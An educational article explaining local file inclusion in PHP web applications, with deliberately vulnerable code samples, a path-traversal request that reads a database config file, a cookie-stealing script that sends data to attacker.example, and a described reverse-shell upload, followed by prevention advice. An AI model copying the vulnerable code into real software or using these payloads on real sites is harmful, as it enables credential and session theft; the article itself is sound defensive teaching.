Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder.
Severity: |
![]() ![]() ![]() |
severe |
Prevalence: |
![]() |
discovered rarely |
Scope: |
![]() ![]() |
appears only in web-related software |
Technical impact: | access to sensitive information | |
Worst-case consequences: | remote code execution | |
Quick fix: | do not use filenames from user input |
When writing web applications, developers often need to access additional server-side files located in the application directory or its subdirectories. For example, developers may want to include configuration files and application modules or to access and display files uploaded by users, such as images or text files.
To access non-static files, developers commonly pass filenames via user input parameters. For example, if the application is to display images uploaded by users, the author of the application may decide to allow arbitrary names for these images. In the case of scripting languages like PHP, developers may also need to dynamically include files that contain source code.
Local file inclusion vulnerabilities happen when a malicious user can include an arbitrary file name or path in user input. For example, if an application is designed to display an arbitrary image based on a URL parameter, but an attacker is able to use this functionality to display application source code, that application has an LFI vulnerability. Note that if the attacker can include a malicious file from a remote location, we are talking about a remote file inclusion (RFI) vulnerability.
Local file inclusion vulnerabilities are often confused with directory traversal (path traversal), which is similar but not synonymous:
The two vulnerabilities are often confused because they frequently occur together and have the same root cause: the developer allowing paths to local files to be passed as part of user input (CWE-73).
Note: Some definitions consider local file inclusion to be limited to cases where the included file contains source code and is also executed. For example, in the CWE index, the definition of local file inclusion is CWE-98: Improper control of filename for include/require statement in PHP program.
Below are examples of PHP code with local file inclusion vulnerabilities, as well as different LFI attack vectors on applications that include this code.
The developer of a PHP application wants the user to be able to read poems stored in text files on the web server. These poems are written to text files, uploaded by other users, and stored in a relative poems directory. Then, the poems are displayed in the web browser as part of the HTML page. The following is a code snippet from the poems/display.php file.
<?PHP
$file = $_GET["file"];
$handle = fopen($file, 'r');
$poem = fread($handle, 1);
fclose($handle);
echo $poem;
?>
As you can see, the filename is taken directly from the HTTP request header. Therefore, you can access and display a poem called poem.txt using the following URL:
http://victim.example/my_app/display.php?file=poem.txt
The attacker abuses this script by manipulating the GET request using the following payload:
http://victim.example/my_app/display.php?file=../config/database.php
The display.php script navigates up to the document root directory and then down to the /config/ subdirectory. There, it includes the database configuration file database.php, which contains the username and password used to connect to the database. The data is exposed as part of the HTML code and the attacker just needs to examine the source code of the page to learn how to access the database directly.
Attackers may also use the code above to escalate the attack to stored cross-site scripting (XSS).
The attacker first uses the poem file upload functionality to upload the following “poem” as a text file called poem42.txt:
<script>fetch("http://attacker.example?log="+encodeURIComponent(document.cookie));</script>
Then, the attacker submits a request to include the poem:
http://victim.example/my_app/display.php?file=poem42.txt
Since the content of the poem is intended to be directly displayed as part of the HTML code, the page code now includes a stored cross-site scripting vulnerability. The attacker may deliver this link to any number of victims, and anyone who opens it will have their session cookies sent to the attacker-controlled attacker.example site.
The developer of the same PHP application also wants to be able to include modules dynamically. The following is a code snippet from the index.php file.
<?PHP
$module = $_GET["module"];
include $module;
?>
Again, the filename is taken directly from the GET HTTP request. Therefore, you can include the module welcome.php as follows:
http://victim.example/index.php?module=welcome.php
The attacker first uses the poem upload functionality to upload poem42.txt, which contains the PHP source code of the pentest monkey reverse shell.
Then, the attacker manipulates the GET request to index.php to include the poem instead of a module:
http://victim.example/index.php?module=poems/poem42.txt
As a result, the application runs the code of the reverse shell (remote code execution), granting the attacker remote access to the server command line.
As you can see from the examples above, local file inclusion vulnerabilities may have a variety of consequences, depending on the functionality of the vulnerable application. Here are some examples:
The best way to detect local file inclusion vulnerabilities depends on whether they are already known or unknown.
There are several methods that allow you to prevent local file inclusion vulnerabilities in your code:
The above methods are available in every programming language and therefore every developer can easily prevent local file inclusion vulnerabilities by using secure coding techniques. There is no excuse for having local file inclusion in your code.
Note: Do not rely on blacklisting, encoding, or methods of input validation/sanitization such as filtering to prevent local file inclusion. For example, don’t try to limit or enforce file extensions or block special character sequences as your only protection from LFI. Attackers can go around such filters by using several different methods such as URL encoding and wrappers such as php://filter.
Methods to mitigate local file inclusion attacks will differ depending on the type of software:
In the case of zero-day local file inclusions in third-party software, you can apply temporary WAF (web application firewall) rules for mitigation. However, this only makes local file inclusion harder to exploit and does not eliminate the problem.
Classification | ID |
---|---|
CAPEC | 252 |
CWE | 98 |
WASC | 33 |
OWASP 2021 | A1 |
Local file inclusion (LFI) is a web vulnerability that lets a malicious hacker access, view, and/or include files located in the web server file system within the document root folder. It is similar to remote file inclusion.
Local file inclusion vulnerabilities may have a variety of consequences, depending on the functionality of the vulnerable application, and may even lead to complete system compromise. They often appear together with directory traversal vulnerabilities.
To avoid LFI and many other vulnerabilities, follow secure programming habits and never trust user input. If you need to include local files, use a whitelist of allowed file names and locations.